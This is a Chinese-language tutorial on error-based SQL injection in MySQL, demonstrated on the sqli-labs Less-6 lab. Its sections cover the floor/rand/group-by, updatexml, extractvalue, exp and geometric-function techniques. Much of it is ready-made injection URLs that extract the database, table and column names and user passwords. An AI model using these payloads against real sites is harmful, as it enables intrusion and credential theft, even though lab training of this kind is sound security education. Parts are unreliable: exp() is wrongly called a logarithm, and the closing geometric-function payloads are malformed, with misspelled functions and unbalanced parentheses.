报错注入
报错注入是SQL注入的一种。
利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()的报错信息
报错函数
floor()报错注入
floor()报错注入准确地说应该是floor,count,group by冲突报错是当这三个函数在特定情况一起使用产生的错误。
select count(*) ,floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表)
floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,就是x就等于floor(rand(0)*2)
使用原理:
- floor() 函数,向下取整
- rand() 函数,取随机数,若有参数x,则每个x对应一个固定的值,如果连续多次执行会变化,但是可以预测
- floor( rand( 0 ) * 2 ) 产生的随机序列为011011
利用数据库表主键不能重复的原理,使用 GROUP BY
分组,产生主键key冗余,导致报错
GROUP BY
原理
ID | NAME |
---|---|
1 | AA |
2 | AA |
3 | BB |
sql
语句
select count(*) ,name from users group by name;
在进行分组运算的时候会根据name属性,创建一个虚拟表
从上至下扫描,当扫描到第一行NAME === AA 的时候
当前虚拟表没有该字段,那么插入此虚拟表,count = 1
count | name |
---|---|
1 | AA |
当扫描到第二行 NAME === AA 的时候
当前虚拟表存在该字段,那么count + 1
count | name |
---|---|
2 | AA |
当扫描到第三行 NAME === BB 的时候
当前虚拟表不存在该字段,执行插入,count = 1
count | name |
---|---|
2 | AA |
1 | BB |
那么利用floor( rand( 0 ) * 2) 这个函数的返回值,进行分组,因为序列为011011…
那么构建SQL语句
SELECT COUNT(*),floor(RAND(0)*2) as x from users GROUP BY x
查询第一条记录,别名x 产生 键值0,当键值 0 不存在虚拟表时,执行插入,此时别名x是一个函数,是变量,在执行插入时,按照GROUP BY分组之时 又要执行floor函数,得到1 ,故向虚拟表中插入键值1,count = 1
COUNT | x |
---|---|
1 | 1 |
查询第二条记录,别名x产生键值1,虚拟表中存在1,则令count + 1 = 2
COUNT | x |
---|---|
2 | 1 |
查询第三条记录,别名x产生键值0,键值0不存在临时表,执行插入,别名x再次执行得键值1,由于1存在于临时表,那么插入之后如下表所示
COUNT | x |
---|---|
2 | 1 |
1 | 1 |
由于数据库主键唯一性,现在临时表中存在两个键值为1,主键冗余,所以报错
由于数据库报错会将报错原因展示出来,故利用报错来实现注入
由上知,要保证floor报错注入,那么必须保证查询的表必须大于三条数据
以下使用sqli-labs中的less-6作为实验,由于less5和less6只有闭合方式的区别,因此对less5不专门展示
/Less-6/?id=1"union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.columns group by 3--+ //爆库
/Less-6/?id=1"union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.columns group by 3--+ //爆表
/Less-6/?id=1"union select 1,count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand()*2)) as a from information_schema.columns group by 3--+ //爆字段
updatexml,extractvalue报错注入
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据extractvalue (XML_document, XPath_string):从目标 XML中 返回包含所查询值的字符串
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
注入语句
‘ and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
XPATH syntax error: '~sql~'
0x7e是ASCII编码,解码为~,concat是将 ~和(select user())连接成字符串,可以知道 updatexml()会因为 ~这个符号不满足Xpath语法,所以这个语句不能执行成成功,会报错。
依旧使用less6作为演示目标
#获取当前数据库名称
http://192.168.2.15/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#获取当前数据库所有表名称
http://192.168.2.15/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有列名称
http://192.168.2.15/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有username和password的值
http://192.168.2.15/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--
/Less-6/?id=1"--+
/Less-6/?id=1"and extractvalue(1, concat(0x7e, (select version()),0x7e))--+
/Less-6/?id=1"and extractvalue(1, concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))--+ //爆表
/Less-6/?id=1"and extractvalue(1, concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'))--+ //爆字段
/Less-6/?id=1"and extractvalue(1,concat('~',(select password from users limit 0,1),'~'))--+ //爆内容
sqlmap
下面尝试使用sqlmap对网站进行扫描,可以检测到sql注入漏洞
sqlmap -u http://192.168.2.15/sqli-labs/Less-6/?id=
exp溢出报错注入
报错原理:
exp()即为以e为底的对数函数,即求解e的710次方,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
约束条件
5.5<mysql版本<5.6
payload
and (select exp(~(select * from(select version())x))); --+
geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
报错原理:
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。咱们攻击载荷拆分,查询的为一串字符,然后用处理geometrycollection(),由于MYSQL无法用这样字符串画出图形,所以报错了。
约束条件
5.5<mysql版本<5.6
注入语句
and geometrycollection((select * from(select * from (注入代码)a)b))
还有其他类似的几何函数
过polygon ()报错,注入语句如下:
and polygon ((注入代码)select * from(select user (注入代码))a)b );
2. 通过multipoint ()报错,注入语句如下:
and multipoint ((注入代码)select * from(select user(注入代码) )a)b );
3. 通过multlinestring ()报错,注入语句如下:
and multlinestring ((注入代码)select * from(selectuser (注入代码) )a)b );
4. 通过multpolygon ()报错,注入语句如下:
and multpolygon ((注入代码)select * from(selectuser (注入代码) )a)b );
5. 通过linestring ()报错,注入语句如下:
and linestring ((注入代码)select * from(select user(注入代码) )a)b );